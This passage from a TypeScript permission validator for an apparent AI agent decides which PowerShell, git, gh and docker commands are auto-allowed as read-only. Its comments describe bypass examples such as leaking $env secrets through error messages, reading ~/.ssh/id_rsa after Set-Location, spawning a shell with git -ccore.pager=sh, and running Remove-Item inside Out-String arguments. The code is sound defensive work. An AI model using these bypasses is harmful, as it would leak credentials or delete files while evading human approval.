'--brief',
'-i',
'--mime',
'-L',
'--dereference',
'--mime-type',
'--mime-encoding',
'-z',
'--uncompress',
'-p',
'--preserve-date',
'-k',
'--keep-going',
'-r',
'--raw',
'-v',
'--version',
'-0',
'--print0',
'-s',
'--special-files',
'-l',
'-F',
'--separator',
'-e',
'-P',
'-N',
'--no-pad',
'-E',
'--extension',
],
},
tree: {
safeFlags: ['/F', '/A', '/Q', '/L'],
},
findstr: {
safeFlags: [
'/B',
'/E',
'/L',
'/R',
'/S',
'/I',
'/X',
'/V',
'/N',
'/M',
'/O',
'/P',
// Flag matching strips ':' before comparison (e.g., /C:pattern β /C),
// so these entries must NOT include the trailing colon.
'/C',
'/G',
'/D',
'/A',
],
},
// =========================================================================
// Package managers - uses shared external command validation
// =========================================================================
dotnet: {},
// SECURITY: man and help direct entries REMOVED. They aliased Get-Help
// (also removed β see above). Without these entries, lookupAllowlist
// resolves via COMMON_ALIASES to 'get-help' which is not in allowlist β
// prompt. Same module-autoload hazard as Get-Help.
},
)
/**
* Safe output/formatting cmdlets that can receive piped input.
* Stored as canonical cmdlet names in lowercase.
*/
const SAFE_OUTPUT_CMDLETS = new Set([
'out-null',
// NOT out-string/out-host β both accept -InputObject which leaks args the
// same way Write-Output does. Moved to CMDLET_ALLOWLIST with argLeaksValue.
// `Get-Process | Out-String -InputObject $env:SECRET` β Out-String was
// filtered name-only, the $env arg was never validated.
// out-null stays: it discards everything, no -InputObject leak.
// NOT foreach-object / where-object / select-object / sort-object /
// group-object / format-table / format-list / format-wide / format-custom /
// measure-object β ALL accept calculated-property hashtables or script-block
// predicates that evaluate arbitrary expressions at runtime
// (about_Calculated_Properties). Examples:
// Where-Object @{k=$env:SECRET} β HashtableAst arg, 'Other' elementType
// Select-Object @{N='x';E={...}} β calculated property scriptblock
// Format-Table $env:SECRET β positional -Property, prints as header
// Measure-Object -Property $env:SECRET β leaks via "property 'sk-...' not found"
// ForEach-Object { $env:PATH='e' } β arbitrary script body
// isSafeOutputCommand is a NAME-ONLY check β step-5 filters these out of
// the approval loop BEFORE arg validation runs. With them here, an
// all-safe-output tail auto-allows on empty subCommands regardless of
// what the arg contains. Removing them forces the tail through arg-level
// validation (hashtable is 'Other' elementType β fails the whitelist at
// isAllowlistedCommand β ask; bare $var is 'Variable' β same).
//
// NOT write-output β pipeline-initial $env:VAR is a VariableExpressionAst,
// skipped by getSubCommandsForPermissionCheck (non-CommandAst). With
// write-output here, `$env:SECRET | Write-Output` β WO filtered as
// safe-output β empty subCommands β auto-allow β secret prints. The
// CMDLET_ALLOWLIST entry handles direct `Write-Output 'literal'`.
])
/**
* Cmdlets moved from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST with
* argLeaksValue. These are pipeline-tail transformers (Format-*,
* Measure-Object, Select-Object, etc.) that were previously name-only
* filtered as safe-output. They now require arg validation (argLeaksValue
* blocks calculated-property hashtables / scriptblocks / variable args).
*
* Used by isAllowlistedPipelineTail for the narrow fallback in
* checkPermissionMode and isReadOnlyCommand β these callers need the same
* "skip harmless pipeline tail" behavior as SAFE_OUTPUT_CMDLETS but with
* the argLeaksValue guard.
*/
const PIPELINE_TAIL_CMDLETS = new Set([
'format-table',
'format-list',
'format-wide',
'format-custom',
'measure-object',
'select-object',
'sort-object',
'group-object',
'where-object',
'out-string',
'out-host',
])
/**
* External .exe names allowed past the nameType='application' gate.
*
* classifyCommandName returns 'application' for any name containing a dot,
* which the nameType gate at isAllowlistedCommand rejects before allowlist
* lookup. That gate exists to block scripts\Get-Process β stripModulePrefix β
* cmd.name='Get-Process' spoofing. But it also catches benign PATH-resolved
* .exe names like where.exe (bash `which` equivalent β pure read, no dangerous
* flags).
*
* SECURITY: the bypass checks the raw first token of cmd.text, NOT cmd.name.
* stripModulePrefix collapses scripts\where.exe β cmd.name='where.exe', but
* cmd.text preserves the raw 'scripts\where.exe ...'. Matching cmd.text's
* first token defeats that spoofing β only a bare `where.exe` (PATH lookup)
* gets through.
*
* Each entry here MUST have a matching CMDLET_ALLOWLIST entry for flag
* validation.
*/
const SAFE_EXTERNAL_EXES = new Set(['where.exe'])
/**
* Windows PATHEXT extensions that PowerShell resolves via PATH lookup.
* `git.exe`, `git.cmd`, `git.bat`, `git.com` all invoke git at runtime and
* must resolve to the same canonical name so git-safety guards fire.
* .ps1 is intentionally excluded β a script named git.ps1 is not the git
* binary and does not trigger git's hook mechanism.
*/
const WINDOWS_PATHEXT = /\.(exe|cmd|bat|com)$/
/**
* Resolves a command name to its canonical cmdlet name using COMMON_ALIASES.
* Strips Windows executable extensions (.exe, .cmd, .bat, .com) from path-free
* names so e.g. `git.exe` canonicalises to `git` and triggers git-safety
* guards (powershellPermissions.ts hasGitSubCommand). SECURITY: only strips
* when the name has no path separator β `scripts\git.exe` is a relative path
* (runs a local script, not PATH-resolved git) and must NOT canonicalise to
* `git`. Returns lowercase canonical name.
*/
export function resolveToCanonical(name: string): string {
let lower = name.toLowerCase()
// Only strip PATHEXT on bare names β paths run a specific file, not the
// PATH-resolved executable the guards are protecting against.
if (!lower.includes('\\') && !lower.includes('/')) {
lower = lower.replace(WINDOWS_PATHEXT, '')
}
const alias = COMMON_ALIASES[lower]
if (alias) {
return alias.toLowerCase()
}
return lower
}
/**
* Checks if a command name (after alias resolution) alters the path-resolution
* namespace for subsequent statements in the same compound command.
*
* Covers TWO classes:
* 1. Cwd-changing cmdlets: Set-Location, Push-Location, Pop-Location (and
* aliases cd, sl, chdir, pushd, popd). Subsequent relative paths resolve
* from the new cwd.
* 2. PSDrive-creating cmdlets: New-PSDrive (and aliases ndr, mount on Windows).
* Subsequent drive-prefixed paths (p:/foo) resolve via the new drive root,
* not via the filesystem. Finding #21: `New-PSDrive -Name p -Root /etc;
* Remove-Item p:/passwd` β the validator cannot know p: maps to /etc.
*
* Any compound containing one of these cannot have its later statements'
* relative/drive-prefixed paths validated against the stale validator cwd.
*
* Name kept for BashTool parity (isCwdChangingCmdlet β compoundCommandHasCd);
* semantically this is "alters path-resolution namespace".
*/
export function isCwdChangingCmdlet(name: string): boolean {
const canonical = resolveToCanonical(name)
return (
canonical === 'set-location' ||
canonical === 'push-location' ||
canonical === 'pop-location' ||
// New-PSDrive creates a drive mapping that redirects <name>:/... paths
// to an arbitrary filesystem root. Aliases ndr/mount are not in
// COMMON_ALIASES β check them explicitly (finding #21).
canonical === 'new-psdrive' ||
// ndr/mount are PS aliases for New-PSDrive on Windows only. On POSIX,
// 'mount' is the native mount(8) command; treating it as PSDrive-creating
// would false-positive. (bug #15 / review nit)
(getPlatform() === 'windows' &&
(canonical === 'ndr' || canonical === 'mount'))
)
}
/**
* Checks if a command name (after alias resolution) is a safe output cmdlet.
*/
export function isSafeOutputCommand(name: string): boolean {
const canonical = resolveToCanonical(name)
return SAFE_OUTPUT_CMDLETS.has(canonical)
}
/**
* Checks if a command element is a pipeline-tail transformer that was moved
* from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST (PIPELINE_TAIL_CMDLETS set)
* AND passes its argLeaksValue guard via isAllowlistedCommand.
*
* Narrow fallback for isSafeOutputCommand call sites that need to keep the
* "skip harmless pipeline tail" behavior for Format-Table / Select-Object / etc.
* Does NOT match the full CMDLET_ALLOWLIST β only the migrated transformers.
*/
export function isAllowlistedPipelineTail(
cmd: ParsedCommandElement,
originalCommand: string,
): boolean {
const canonical = resolveToCanonical(cmd.name)
if (!PIPELINE_TAIL_CMDLETS.has(canonical)) {
return false
}
return isAllowlistedCommand(cmd, originalCommand)
}
/**
* Fail-closed gate for read-only auto-allow. Returns true ONLY for a
* PipelineAst where every element is a CommandAst β the one statement
* shape we can fully validate. Everything else (assignments, control
* flow, expression sources, chain operators) defaults to false.
*
* Single code path to true. New AST types added to PowerShell fall
* through to false by construction.
*/
export function isProvablySafeStatement(stmt: ParsedStatement): boolean {
if (stmt.statementType !== 'PipelineAst') return false
// Empty commands β vacuously passes the loop below. PowerShell's
// parser guarantees PipelineAst.PipelineElements β₯ 1 for valid source,
// but this gate is the linchpin β defend against parser/JSON edge cases.
if (stmt.commands.length === 0) return false
for (const cmd of stmt.commands) {
if (cmd.elementType !== 'CommandAst') return false
}
return true
}
/**
* Looks up a command in the allowlist, resolving aliases first.
* Returns the config if found, or undefined.
*/
function lookupAllowlist(name: string): CommandConfig | undefined {
const lower = name.toLowerCase()
// Direct lookup first
const direct = CMDLET_ALLOWLIST[lower]
if (direct) {
return direct
}
// Resolve alias to canonical and look up
const canonical = resolveToCanonical(lower)
if (canonical !== lower) {
return CMDLET_ALLOWLIST[canonical]
}
return undefined
}
/**
* Sync regex-based check for security-concerning patterns in a PowerShell command.
* Used by isReadOnly (which must be sync) as a fast pre-filter before the
* cmdlet allowlist check. This mirrors BashTool's checkReadOnlyConstraints
* which checks bashCommandIsSafe_DEPRECATED before evaluating read-only status.
*
* Returns true if the command contains patterns that indicate it should NOT
* be considered read-only, even if the cmdlet is in the allowlist.
*/
export function hasSyncSecurityConcerns(command: string): boolean {
const trimmed = command.trim()
if (!trimmed) {
return false
}
// Subexpressions: $(...) can execute arbitrary code
if (/\$\(/.test(trimmed)) {
return true
}
// Splatting: @variable passes arbitrary parameters. Real splatting is
// token-start only β `@` preceded by whitespace/separator/start, not mid-word.
// `[^\w.]` excludes word chars and `.` so `user@example.com` (email) and
// `file.@{u}` don't match, but ` @splat` / `;@splat` / `^@splat` do.
if (/(?:^|[^\w.])@\w+/.test(trimmed)) {
return true
}
// Member invocations: .Method() can call arbitrary .NET methods
if (/\.\w+\s*\(/.test(trimmed)) {
return true
}
// Assignments: $var = ... can modify state
if (/\$\w+\s*[+\-*/]?=/.test(trimmed)) {
return true
}
// Stop-parsing symbol: --% passes everything raw to native commands
if (/--%/.test(trimmed)) {
return true
}
// UNC paths: \\server\share or //server/share can trigger network requests
// and leak NTLM/Kerberos credentials
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() with atom search, short command strings
if (/\\\\/.test(trimmed) || /(?<!:)\/\//.test(trimmed)) {
return true
}
// Static method calls: [Type]::Method() can invoke arbitrary .NET methods
if (/::/.test(trimmed)) {
return true
}
return false
}
/**
* Checks if a PowerShell command is read-only based on the cmdlet allowlist.
*
* @param command - The original PowerShell command string
* @param parsed - The AST-parsed representation of the command
* @returns true if the command is read-only, false otherwise
*/
export function isReadOnlyCommand(
command: string,
parsed?: ParsedPowerShellCommand,
): boolean {
const trimmedCommand = command.trim()
if (!trimmedCommand) {
return false
}
// If no parsed AST available, conservatively return false
if (!parsed) {
return false
}
// If parsing failed, reject
if (!parsed.valid) {
return false
}
const security = deriveSecurityFlags(parsed)
// Reject commands with script blocks β we can't verify the code inside them
// e.g., Get-Process | ForEach-Object { Remove-Item C:\foo } looks like a safe pipeline
// but the script block contains destructive code
if (
security.hasScriptBlocks ||
security.hasSubExpressions ||
security.hasExpandableStrings ||
security.hasSplatting ||
security.hasMemberInvocations ||
security.hasAssignments ||
security.hasStopParsing
) {
return false
}
const segments = getPipelineSegments(parsed)
if (segments.length === 0) {
return false
}
// SECURITY: Block compound commands that contain a cwd-changing cmdlet
// (Set-Location/Push-Location/Pop-Location/New-PSDrive) alongside any other
// statement. This was previously scoped to cd+git only, but that overlooked
// the isReadOnlyCommand auto-allow path for cd+read compounds (finding #27):
// Set-Location ~; Get-Content ./.ssh/id_rsa
// Both cmdlets are in CMDLET_ALLOWLIST, so without this guard the compound
// auto-allows. Path validation resolved ./.ssh/id_rsa against the STALE
// validator cwd (e.g. /project), missing any Read(~/.ssh/**) deny rule.
// At runtime PowerShell cd's to ~, reads ~/.ssh/id_rsa.
//
// Any compound containing a cwd-changing cmdlet cannot be auto-classified
// read-only when other statements may use relative paths β those paths
// resolve differently at runtime than at validation time. BashTool has the
// equivalent guard via compoundCommandHasCd threading into path validation.
const totalCommands = segments.reduce(
(sum, seg) => sum + seg.commands.length,
0,
)
if (totalCommands > 1) {
const hasCd = segments.some(seg =>
seg.commands.some(cmd => isCwdChangingCmdlet(cmd.name)),
)
if (hasCd) {
return false
}
}
// Check each statement individually - all must be read-only
for (const pipeline of segments) {
if (!pipeline || pipeline.commands.length === 0) {
return false
}
// Reject file redirections (writing to files). `> $null` discards output
// and is not a filesystem write, so it doesn't disqualify read-only status.
if (pipeline.redirections.length > 0) {
const hasFileRedirection = pipeline.redirections.some(
r => !r.isMerging && !isNullRedirectionTarget(r.target),
)
if (hasFileRedirection) {
return false
}
}
// First command must be in the allowlist
const firstCmd = pipeline.commands[0]
if (!firstCmd) {
return false
}
if (!isAllowlistedCommand(firstCmd, command)) {
return false
}
// Remaining pipeline commands must be safe output cmdlets OR allowlisted
// (with arg validation). Format-Table/Measure-Object moved from
// SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST after security review found all
// accept calculated-property hashtables. isAllowlistedCommand runs their
// argLeaksValue callback: bare `| Format-Table` passes, `| Format-Table
// $env:SECRET` fails. SECURITY: nameType gate catches 'scripts\\Out-Null'
// (raw name has path chars β 'application'). cmd.name is stripped to
// 'Out-Null' which would match SAFE_OUTPUT_CMDLETS, but PowerShell runs
// scripts\\Out-Null.ps1.
for (let i = 1; i < pipeline.commands.length; i++) {
const cmd = pipeline.commands[i]
if (!cmd || cmd.nameType === 'application') {
return false
}
// SECURITY: isSafeOutputCommand is name-only; only short-circuit for
// zero-arg invocations. Out-String -InputObject:(rm x) β the paren is
// evaluated when Out-String runs. With name-only check and args, the
// colon-bound paren bypasses. Force isAllowlistedCommand (arg validation)
// when args present β Out-String/Out-Null/Out-Host are NOT in
// CMDLET_ALLOWLIST so any args will reject.
// PoC: Get-Process | Out-String -InputObject:(Remove-Item /tmp/x)
// β auto-allow β Remove-Item runs.
if (isSafeOutputCommand(cmd.name) && cmd.args.length === 0) {
continue
}
if (!isAllowlistedCommand(cmd, command)) {
return false
}
}
// SECURITY: Reject statements with nested commands. nestedCommands are
// CommandAst nodes found inside script block arguments, ParenExpressionAst
// children of colon-bound parameters, or other non-top-level positions.
// A statement with nestedCommands is by definition not a simple read-only
// invocation β it contains executable sub-pipelines that bypass the
// per-command allowlist check above.
if (pipeline.nestedCommands && pipeline.nestedCommands.length > 0) {
return false
}
}
return true
}
/**
* Checks if a single command element is in the allowlist and passes flag validation.
*/
export function isAllowlistedCommand(
cmd: ParsedCommandElement,
originalCommand: string,
): boolean {
// SECURITY: nameType is computed from the raw (pre-stripModulePrefix) name.
// 'application' means the raw name contains path chars (. \\ /) β e.g.
// 'scripts\\Get-Process', './git', 'node.exe'. PowerShell resolves these as
// file paths, not as the cmdlet/command the stripped name matches. Never
// auto-allow: the allowlist was built for cmdlets, not arbitrary scripts.
// Known collateral: 'Microsoft.PowerShell.Management\\Get-ChildItem' also
// classifies as 'application' (contains . and \\) and will prompt. Acceptable
// since module-qualified names are rare in practice and prompting is safe.
if (cmd.nameType === 'application') {
// Bypass for explicit safe .exe names (bash `which` parity β see
// SAFE_EXTERNAL_EXES). SECURITY: match the raw first token of cmd.text,
// not cmd.name. stripModulePrefix collapses scripts\where.exe β
// cmd.name='where.exe', but cmd.text preserves 'scripts\where.exe ...'.
const rawFirstToken = cmd.text.split(/\s/, 1)[0]?.toLowerCase() ?? ''
if (!SAFE_EXTERNAL_EXES.has(rawFirstToken)) {
return false
}
// Fall through to lookupAllowlist β CMDLET_ALLOWLIST['where.exe'] handles
// flag validation (empty config = all flags OK, matching bash's `which`).
}
const config = lookupAllowlist(cmd.name)
if (!config) {
return false
}
// If there's a regex constraint, check it against the original command
if (config.regex && !config.regex.test(originalCommand)) {
return false
}
// If there's an additional callback, check it
if (config.additionalCommandIsDangerousCallback?.(originalCommand, cmd)) {
return false
}
// SECURITY: whitelist arg elementTypes β only StringConstant and Parameter
// are statically verifiable. Everything else expands/evaluates at runtime:
// 'Variable' β `Get-Process $env:AWS_SECRET_ACCESS_KEY` expands,
// errors "Cannot find process 'sk-ant-...'", model
// reads the secret from the error
// 'Other' (Hashtable) β `Get-Process @{k=$env:SECRET}` same leak
// 'Other' (Convert) β `Get-Process [string]$env:SECRET` same leak
// 'Other' (BinaryExpr)β `Get-Process ($env:SECRET + '')` same leak
// 'SubExpression' β arbitrary code (already caught by deriveSecurityFlags
// at the isReadOnlyCommand layer, but isAllowlistedCommand
// is also called from checkPermissionMode directly)
// hasSyncSecurityConcerns misses bare $var (only matches `$(`/@var/.Method(/
// $var=/--%/::); deriveSecurityFlags has no 'Variable' case; the safeFlags
// loop below validates flag NAMES but not positional arg TYPES. File cmdlets
// (CMDLET_PATH_CONFIG) are already protected by SAFE_PATH_ELEMENT_TYPES in
// pathValidation.ts β this closes the gap for non-file cmdlets (Get-Process,
// Get-Service, Get-Command, ~15 others). PS equivalent of Bash's blanket `$`
// token check at BashTool/readOnlyValidation.ts:~1356.
//
// Placement: BEFORE external-command dispatch so git/gh/docker/dotnet get
// this too (defense-in-depth with their string-based `$` checks; catches
// @{...}/[cast]/($a+$b) that `$` substring misses). In PS argument mode,
// bare `5` tokenizes as StringConstant (BareWord), not a numeric literal,
// so `git log -n 5` passes.
//
// SECURITY: elementTypes undefined β fail-closed. The real parser always
// sets it (parser.ts:769/781/812), so undefined means an untrusted or
// malformed element. Previously skipped (fail-open) for test-helper
// convenience; test helpers now set elementTypes explicitly.
// elementTypes[0] is the command name; args start at elementTypes[1].
if (!cmd.elementTypes) {
return false
}
{
for (let i = 1; i < cmd.elementTypes.length; i++) {
const t = cmd.elementTypes[i]
if (t !== 'StringConstant' && t !== 'Parameter') {
// ArrayLiteralAst (`Get-Process Name, Id`) maps to 'Other'. The
// leak vectors enumerated above all have a metachar in their extent
// text: Hashtable `@{`, Convert `[`, BinaryExpr-with-var `$`,
// ParenExpr `(`. A bare comma-list of identifiers has none.
if (!/[$(@{[]/.test(cmd.args[i - 1] ?? '')) {
continue
}
return false
}
// Colon-bound parameter (`-Flag:$env:SECRET`) is a SINGLE
// CommandParameterAst β the VariableExpressionAst is its .Argument
// child, not a separate CommandElement, so elementTypes says 'Parameter'
// and the whitelist above passes.
//
// Query the parser's children[] tree instead of doing
// string-archaeology on the arg text. children[i-1] holds the
// .Argument child's mapped type (aligned with args[i-1]).
// Tree query catches MORE than the string check β e.g.
// `-InputObject:@{k=v}` (HashtableAst β 'Other', no `$` in text),
// `-Name:('payload' > file)` (ParenExpressionAst with redirection).
// Fallback to the extended metachar check when children is undefined
// (backward compat / test helpers that don't set it).
if (t === 'Parameter') {
const paramChildren = cmd.children?.[i - 1]
if (paramChildren) {
if (paramChildren.some(c => c.type !== 'StringConstant')) {
return false
}
} else {
// Fallback: string-archaeology on arg text (pre-children parsers).
// Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
// sub), `{` (scriptblock), `[` (type literal/static method).
const arg = cmd.args[i - 1] ?? ''
const colonIdx = arg.indexOf(':')
if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
return false
}
}
}
}
}
const canonical = resolveToCanonical(cmd.name)
// Handle external commands via shared validation
if (
canonical === 'git' ||
canonical === 'gh' ||
canonical === 'docker' ||
canonical === 'dotnet'
) {
return isExternalCommandSafe(canonical, cmd.args)
}
// On Windows, / is a valid flag prefix for native commands (e.g., findstr /S).
// But PowerShell cmdlets always use - prefixed parameters, so /tmp is a path,
// not a flag. We detect cmdlets by checking if the command resolves to a
// Verb-Noun canonical name (either directly or via alias).
const isCmdlet = canonical.includes('-')
// SECURITY: if allowAllFlags is set, skip flag validation (command's entire
// flag surface is read-only). Otherwise, missing/empty safeFlags means
// "positional args only, reject all flags" β NOT "accept everything".
if (config.allowAllFlags) {
return true
}
if (!config.safeFlags || config.safeFlags.length === 0) {
// No safeFlags defined and allowAllFlags not set: reject any flags.
// Positional-only args are still allowed (the loop below won't fire).
// This is the safe default β commands must opt in to flag acceptance.
const hasFlags = cmd.args.some((arg, i) => {
if (isCmdlet) {
return isPowerShellParameter(arg, cmd.elementTypes?.[i + 1])
}
return (
arg.startsWith('-') ||
(process.platform === 'win32' && arg.startsWith('/'))
)
})
return !hasFlags
}
// Validate that all flags used are in the allowlist.
// SECURITY: use elementTypes as ground
// truth for parameter detection. PowerShell's tokenizer accepts en-dash/
// em-dash/horizontal-bar (U+2013/2014/2015) as parameter prefixes; a raw
// startsWith('-') check misses `βComputerName` (en-dash). The parser maps
// CommandParameterAst β 'Parameter' regardless of dash char.
// elementTypes[0] is the name element; args start at elementTypes[1].
for (let i = 0; i < cmd.args.length; i++) {
const arg = cmd.args[i]!
// For cmdlets: trust elementTypes (AST ground truth, catches Unicode dashes).
// For native exes on Windows: also check `/` prefix (argv convention, not
// tokenizer β the parser sees `/S` as a positional, not CommandParameterAst).
const isFlag = isCmdlet
? isPowerShellParameter(arg, cmd.elementTypes?.[i + 1])
: arg.startsWith('-') ||
(process.platform === 'win32' && arg.startsWith('/'))
if (isFlag) {
// For cmdlets, normalize Unicode dash to ASCII hyphen for safeFlags
// comparison (safeFlags entries are always written with ASCII `-`).
// Native-exe safeFlags are stored with `/` (e.g. '/FO') β don't touch.
let paramName = isCmdlet ? '-' + arg.slice(1) : arg
const colonIndex = paramName.indexOf(':')
if (colonIndex > 0) {
paramName = paramName.substring(0, colonIndex)
}
// -ErrorAction/-Verbose/-Debug etc. are accepted by every cmdlet via
// [CmdletBinding()] and only route error/warning/progress streams β
// they can't make a read-only cmdlet write. pathValidation.ts already
// merges these into its per-cmdlet param sets (line ~1339); this is
// the same merge for safeFlags. Without it, `Get-Content file.txt
// -ErrorAction SilentlyContinue` prompts despite Get-Content being
// allowlisted. Only for cmdlets β native exes don't have common params.
const paramLower = paramName.toLowerCase()
if (isCmdlet && COMMON_PARAMETERS.has(paramLower)) {
continue
}
const isSafe = config.safeFlags.some(
flag => flag.toLowerCase() === paramLower,
)
if (!isSafe) {
return false
}
}
}
return true
}
// ---------------------------------------------------------------------------
// External command validation (git, gh, docker) using shared configs
// ---------------------------------------------------------------------------
function isExternalCommandSafe(command: string, args: string[]): boolean {
switch (command) {
case 'git':
return isGitSafe(args)
case 'gh':
return isGhSafe(args)
case 'docker':
return isDockerSafe(args)
case 'dotnet':
return isDotnetSafe(args)
default:
return false
}
}
const DANGEROUS_GIT_GLOBAL_FLAGS = new Set([
'-c',
'-C',
'--exec-path',
'--config-env',
'--git-dir',
'--work-tree',
// SECURITY: --attr-source creates a parser differential. Git treats the
// token after the tree-ish value as a pathspec (not the subcommand), but
// our skip-by-2 loop would treat it as the subcommand:
// git --attr-source HEAD~10 log status
// validator: advances past HEAD~10, sees subcmd=log β allow
// git: consumes `log` as pathspec, runs `status` as the real subcmd
// Verified with `GIT_TRACE=1 git --attr-source HEAD~10 log status` β
// `trace: built-in: git status`. Reject outright rather than skip-by-2.
'--attr-source',
])
// Git global flags that accept a separate (space-separated) value argument.
// When the loop encounters one without an inline `=` value, it must skip the
// next token so the value isn't mistaken for the subcommand.
//
// SECURITY: This set must be COMPLETE. Any value-consuming global flag not
// listed here creates a parser differential: validator sees the value as the
// subcommand, git consumes it and runs the NEXT token. Audited against
// `man git` + GIT_TRACE for git 2.51; --list-cmds is `=`-only, booleans
// (-p/--bare/--no-*/--*-pathspecs/--html-path/etc.) advance by 1 via the
// default path. --attr-source REMOVED: it also triggers pathspec parsing,
// creating a second differential β moved to DANGEROUS_GIT_GLOBAL_FLAGS above.
const GIT_GLOBAL_FLAGS_WITH_VALUES = new Set([
'-c',
'-C',
'--exec-path',
'--config-env',
'--git-dir',
'--work-tree',
'--namespace',
'--super-prefix',
'--shallow-file',
])
// Git short global flags that accept attached-form values (no space between
// flag letter and value). Long options (--git-dir etc.) require `=` or space,
// so the split-on-`=` check handles them. But `-ccore.pager=sh` and `-C/path`
// need prefix matching: git parses `-c<name>=<value>` and `-C<path>` directly.
const DANGEROUS_GIT_SHORT_FLAGS_ATTACHED = ['-c', '-C']
function isGitSafe(args: string[]): boolean {
if (args.length === 0) {
return true
}
// SECURITY: Reject any arg containing `$` (variable reference). Bare
// VariableExpressionAst positionals reach here as literal text ($env:SECRET,
// $VAR). deriveSecurityFlags does not gate bare Variable args. The validator
// sees `$VAR` as text; PowerShell expands it at runtime. Parser differential:
// git diff $VAR where $VAR = '--output=/tmp/evil'
// β validator sees positional '$VAR' β validateFlags passes
// β PowerShell runs `git diff --output=/tmp/evil` β file write
// This generalizes the ls-remote inline `$` guard below to all git subcommands.
// Bash equivalent: BashTool blanket
// `$` rejection at readOnlyValidation.ts:~1352. isGhSafe has the same guard.
for (const arg of args) {
if (arg.includes('$')) {
return false
}
}
// Skip over global flags before the subcommand, rejecting dangerous ones.
// Flags that take space-separated values must consume the next token so it
// isn't mistaken for the subcommand (e.g. `git --namespace foo status`).
let idx = 0
while (idx < args.length) {
const arg = args[idx]
if (!arg || !arg.startsWith('-')) {
break
}
// SECURITY: Attached-form short flags. `-ccore.pager=sh` splits on `=` to
// `-ccore.pager`, which isn't in DANGEROUS_GIT_GLOBAL_FLAGS. Git accepts
// `-c<name>=<value>` and `-C<path>` with no space. We must prefix-match.
// Note: `--cached`, `--config-env`, etc. already fail startsWith('-c') at
// position 1 (`-` β `c`). The `!== '-'` guard only applies to `-c`
// (git config keys never start with `-`, so `-c-key` is implausible).
// It does NOT apply to `-C` β directory paths CAN start with `-`, so
// `git -C-trap status` must reject. `git -ccore.pager=sh log` spawns a shell.
for (const shortFlag of DANGEROUS_GIT_SHORT_FLAGS_ATTACHED) {
if (
arg.length > shortFlag.length &&
arg.startsWith(shortFlag) &&
(shortFlag === '-C' || arg[shortFlag.length] !== '-')
) {
return false
}
}
const hasInlineValue = arg.includes('=')
const flagName = hasInlineValue ? arg.split('=')[0] || '' : arg
if (DANGEROUS_GIT_GLOBAL_FLAGS.has(flagName)) {
return false
}
// Consume the next token if the flag takes a separate value
if (!hasInlineValue && GIT_GLOBAL_FLAGS_WITH_VALUES.has(flagName)) {
idx += 2
} else {
idx++
}
}
if (idx >= args.length) {
return true
}
// Try multi-word subcommand first (e.g. 'stash list', 'config --get', 'remote show')
const first = args[idx]?.toLowerCase() || ''
const second = idx + 1 < args.length ? args[idx + 1]?.toLowerCase() || '' : ''
// GIT_READ_ONLY_COMMANDS keys are like 'git diff', 'git stash list'
const twoWordKey = `git ${first} ${second}`
const oneWordKey = `git ${first}`
let config: ExternalCommandConfig | undefined =
GIT_READ_ONLY_COMMANDS[twoWordKey]
let subcommandTokens = 2
if (!config) {
config = GIT_READ_ONLY_COMMANDS[oneWordKey]
subcommandTokens = 1
}
if (!config) {
return false
}
const flagArgs = args.slice(idx + subcommandTokens)
// git ls-remote URL rejection β ported from BashTool's inline guard
// (src/tools/BashTool/readOnlyValidation.ts:~962). ls-remote with a URL
// is a data-exfiltration vector (encode secrets in hostname β DNS/HTTP).
// Reject URL-like positionals: `://` (http/git protocols), `@` + `:` (SSH
// git@host:path), and `$` (variable refs β $env:URL reaches here as the
// literal string '$env:URL' when the arg's elementType is Variable; the
// security-flag checks don't gate bare Variable positionals passed to
// external commands).
if (first === 'ls-remote') {
for (const arg of flagArgs) {
if (!arg.startsWith('-')) {
if (
arg.includes('://') ||
arg.includes('@') ||
arg.includes(':') ||
arg.includes('$')
) {
return false
}
}
}
}
if (
config.additionalCommandIsDangerousCallback &&
config.additionalCommandIsDangerousCallback('', flagArgs)
) {
return false
}
return validateFlags(flagArgs, 0, config, { commandName: 'git' })
}
function isGhSafe(args: string[]): boolean {
// gh commands are network-dependent; only allow for ant users
if (process.env.USER_TYPE !== 'ant') {
return false
}
if (args.length === 0) {
return true
}
// Try two-word subcommand first (e.g. 'pr view')
let config: ExternalCommandConfig | undefined
let subcommandTokens = 0
if (args.length >= 2) {
const twoWordKey = `gh ${args[0]?.toLowerCase()} ${args[1]?.toLowerCase()}`
config = GH_READ_ONLY_COMMANDS[twoWordKey]
subcommandTokens = 2
}
// Try single-word subcommand (e.g. 'gh version')
if (!config && args.length >= 1) {
const oneWordKey = `gh ${args[0]?.toLowerCase()}`
config = GH_READ_ONLY_COMMANDS[oneWordKey]
subcommandTokens = 1
}
if (!config) {
return false
}
const flagArgs = args.slice(subcommandTokens)
// SECURITY: Reject any arg containing `$` (variable reference). Bare
// VariableExpressionAst positionals reach here as literal text ($env:SECRET).
// deriveSecurityFlags does not gate bare Variable args β only subexpressions,
// splatting, expandable strings, etc. All gh subcommands are network-facing,
// so a variable arg is a data-exfiltration vector:
// gh search repos $env:SECRET_API_KEY
// β PowerShell expands at runtime β secret sent to GitHub API.
// git ls-remote has an equivalent inline guard; this generalizes it for gh.
// Bash equivalent: BashTool blanket `$` rejection at readOnlyValidation.ts:~1352.
for (const arg of flagArgs) {
if (arg.includes('$')) {
return false
}
}
if (
config.additionalCommandIsDangerousCallback &&
config.additionalCommandIsDangerousCallback('', flagArgs)
) {
return false
}
return validateFlags(flagArgs, 0, config)
}
function isDockerSafe(args: string[]): boolean {
if (args.length === 0) {
return true
}
// SECURITY: blanket PowerShell `$` variable rejection. Same guard as
// isGitSafe and isGhSafe. Parser differential: validator sees literal
// '$env:X'; PowerShell expands at runtime. Runs BEFORE the fast-path
// return β the previous location (after fast-path) never fired for
// `docker ps`/`docker images`. The earlier comment claiming those take no
// --format was wrong: `docker ps --format $env:AWS_SECRET_ACCESS_KEY`
// auto-allowed, PowerShell expanded, docker errored with the secret in
// its output, model read it. Check ALL args, not flagArgs β args[0]
// (subcommand slot) could also be `$env:X`. elementTypes whitelist isn't
// applicable here: this function receives string[] (post-stringify), not
// ParsedCommandElement; the isAllowlistedCommand caller applies the
// elementTypes gate one layer up.
for (const arg of args) {
if (arg.includes('$')) {
return false
}
}
const oneWordKey = `docker ${args[0]?.toLowerCase()}`
// Fast path: EXTERNAL_READONLY_COMMANDS entries ('docker ps', 'docker images')
